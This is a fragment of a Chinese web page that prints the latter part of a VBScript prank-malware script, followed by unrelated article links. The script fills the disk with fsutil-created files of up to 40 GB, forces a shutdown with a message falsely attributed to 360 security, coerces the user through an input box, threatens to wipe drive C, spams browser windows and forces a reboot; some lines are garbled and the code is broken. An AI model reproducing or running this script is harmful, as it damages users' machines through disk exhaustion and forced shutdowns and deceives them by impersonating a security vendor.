qstart.run “cmd.exe /c fsutil file createnew 46.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 47.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 48.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 49.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 50.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 51.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 52.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 53.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 54.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 55.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 56.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 57.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 58.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 59.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 60.bug 40000“
qstart.run “cmd.exe /c fsutil file createnew 61.bug 400000“
qstart.run “cmd.exe /c fsutil file createnew 62.bug 4000000“
qstart.run “cmd.exe /c fsutil file createnew 63.bug 40000000“
qstart.run “cmd.exe /c fsutil file createnew 64.bug 400000000“
qstart.run “cmd.exe /c fsutil file createnew 65.bug 4000000000“
qstart.run “cmd.exe /c fsutil file createnew 666.bug 40000000000“
wscript.sleep 25000
qstart.run “cmd.exe /c shutdown -s -t 60 -c ““360公司温馨提醒:因为这个游戏涉及非法内容,所以您的电脑将在60秒后自动关机““ “,0,true
qstart.run “cmd.exe /c echo 滚|clip“
A = INPUTBOX (“说!360是不是上帝?“+chr(13)+chr(13)+chr(13)+“(“滚”已复制到剪贴板,可以粘贴。)“,“360 Defender“,“不是“,8000,7000)
IF A = “是“ then
qstart.run “cmd.exe /c shutdown -a“,0,true
msgbox “好的,现在您可以下载360安全卫士来杀毒了。“,vbokonly,“360 Defender“
do
qweb.run““+chr(13)+chr(13)+“那现在先把C盘给抹咯!“,vbokonly+vbInformation,“360 Defender“
qsay.speak (“在抹掉C盘的过程中,您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲“)
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qweb.run“https://hao.360.com/“
qstart.run “cmd.exe /c shutdown -r -t 5“,0,true
END IF

更多文章:
金山铁路22号线(请问现在轨道交通22号线金山铁路是个什么情况据说9月28日就开通了啊~~~)
2026年10月11日 09:10
repercussions(都是余波,repercussions和aftermath有什么区别啊)
2026年10月11日 09:00
dropdownlist 绑定(DropDownList 绑定所有项 并 显示指定项)
2026年10月11日 08:50
易语言网页api接口怎么调用(易语言,怎么读取网页json的api)
2026年10月11日 08:00
majority of(the majority of 和 a majority of的区别以及用法例句)
2026年10月11日 07:40





